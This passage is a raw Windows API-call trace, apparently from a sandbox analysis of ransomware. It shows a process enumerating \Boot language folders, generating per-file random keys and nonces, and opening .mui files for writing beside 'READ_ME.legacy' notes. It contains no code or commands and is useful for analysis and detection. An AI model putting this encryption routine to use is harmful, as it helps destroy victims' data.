(dwErrCode=0x5) [0107.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0107.322] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0107.322] FindNextFileW (in: hFindFile=0x5a0ea8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aa481f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aa481f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0107.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0107.323] GetLastError () returned 0x5 [0107.323] SetLastError (dwErrCode=0x5) [0107.323] GetLastError () returned 0x5 [0107.323] SetLastError (dwErrCode=0x5) [0107.323] GetLastError () returned 0x5 [0107.323] SetLastError (dwErrCode=0x5) [0107.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0107.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2f8 | out: hHeap=0x520000) returned 1 [0107.323] FindNextFileW (in: hFindFile=0x5a0ea8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aa481f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aa481f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0107.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0107.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0107.323] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0107.323] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0107.323] SetFileAttributesW (lpFileName="\\Boot\\da-DK\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0107.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0107.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0107.323] CreateFileW (lpFileName="\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0107.323] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0107.323] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0107.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0b0 [0107.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0107.324] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0b0 | out: pbBuffer=0x54d0b0) returned 1 [0107.324] SetFileAttributesW (lpFileName="\\Boot\\da-DK\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0107.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0107.324] CreateFileW (lpFileName="\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0107.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0107.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0107.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0107.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d398 | out: hHeap=0x520000) returned 1 [0107.324] FindFirstFileW (in: lpFileName="\\Boot\\de-DE\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a07a8 [0107.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0107.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.324] GetLastError () returned 0x5 [0107.324] SetLastError (dwErrCode=0x5) [0107.324] GetLastError () returned 0x5 [0107.325] SetLastError (dwErrCode=0x5) [0107.325] GetLastError () returned 0x5 [0107.325] SetLastError (dwErrCode=0x5) [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ee8 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ee8 | out: hHeap=0x520000) returned 1 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200f0 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200f0 | out: hHeap=0x520000) returned 1 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0107.325] FindNextFileW (in: hFindFile=0x5a07a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0107.325] GetLastError () returned 0x5 [0107.325] SetLastError (dwErrCode=0x5) [0107.325] GetLastError () returned 0x5 [0107.325] SetLastError (dwErrCode=0x5) [0107.325] GetLastError () returned 0x5 [0107.325] SetLastError (dwErrCode=0x5) [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d4a8 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0ee8 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0ee8 | out: hHeap=0x520000) returned 1 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0107.325] FindNextFileW (in: hFindFile=0x5a07a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0107.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0107.325] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0107.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0107.326] FindNextFileW (in: hFindFile=0x5a07a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0107.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0107.326] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0107.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d2d0 | out: hHeap=0x520000) returned 1 [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0107.326] FindNextFileW (in: hFindFile=0x5a07a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aa481f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aa481f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0107.326] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] GetLastError () returned 0x5 [0107.326] SetLastError (dwErrCode=0x5) [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0107.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0107.326] FindNextFileW (in: hFindFile=0x5a07a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aa481f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aa481f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584988 [0107.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1f0 [0107.326] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584988 | out: pbBuffer=0x584988) returned 1 [0107.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1f0 | out: pbBuffer=0x54d1f0) returned 1 [0107.327] SetFileAttributesW (lpFileName="\\Boot\\de-DE\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0107.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0107.327] CreateFileW (lpFileName="\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0107.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0107.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0107.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0107.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0107.327] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0107.327] SetFileAttributesW (lpFileName="\\Boot\\de-DE\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0107.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0107.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0107.327] CreateFileW (lpFileName="\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0107.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0107.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3c0 | out: hHeap=0x520000) returned 1 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.328] FindFirstFileW (in: lpFileName="\\Boot\\el-GR\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0ee8 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0107.328] GetLastError () returned 0x5 [0107.328] SetLastError (dwErrCode=0x5) [0107.328] GetLastError () returned 0x5 [0107.328] SetLastError (dwErrCode=0x5) [0107.328] GetLastError () returned 0x5 [0107.328] SetLastError (dwErrCode=0x5) [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0f28 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f28 | out: hHeap=0x520000) returned 1 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0107.328] FindNextFileW (in: hFindFile=0x5a0ee8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1aa481f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0107.328] GetLastError () returned 0x5 [0107.328] SetLastError (dwErrCode=0x5) [0107.328] GetLastError () returned 0x5 [0107.328] SetLastError (dwErrCode=0x5) [0107.328] GetLastError () returned 0x5 [0107.328] SetLastError (dwErrCode=0x5) [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0107.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0f28 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f28 | out: hHeap=0x520000) returned 1 [0107.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0107.329] FindNextFileW (in: hFindFile=0x5a0ee8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0107.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0107.329] FindNextFileW (in: hFindFile=0x5a0ee8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb5a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0107.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0107.329] FindNextFileW (in: hFindFile=0x5a0ee8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aa481f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aa481f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0107.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0107.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.329] GetLastError () returned 0x5 [0107.329] SetLastError (dwErrCode=0x5) [0107.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0107.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0107.330] FindNextFileW (in: hFindFile=0x5a0ee8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1aa481f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1aa481f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1aca9ab, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 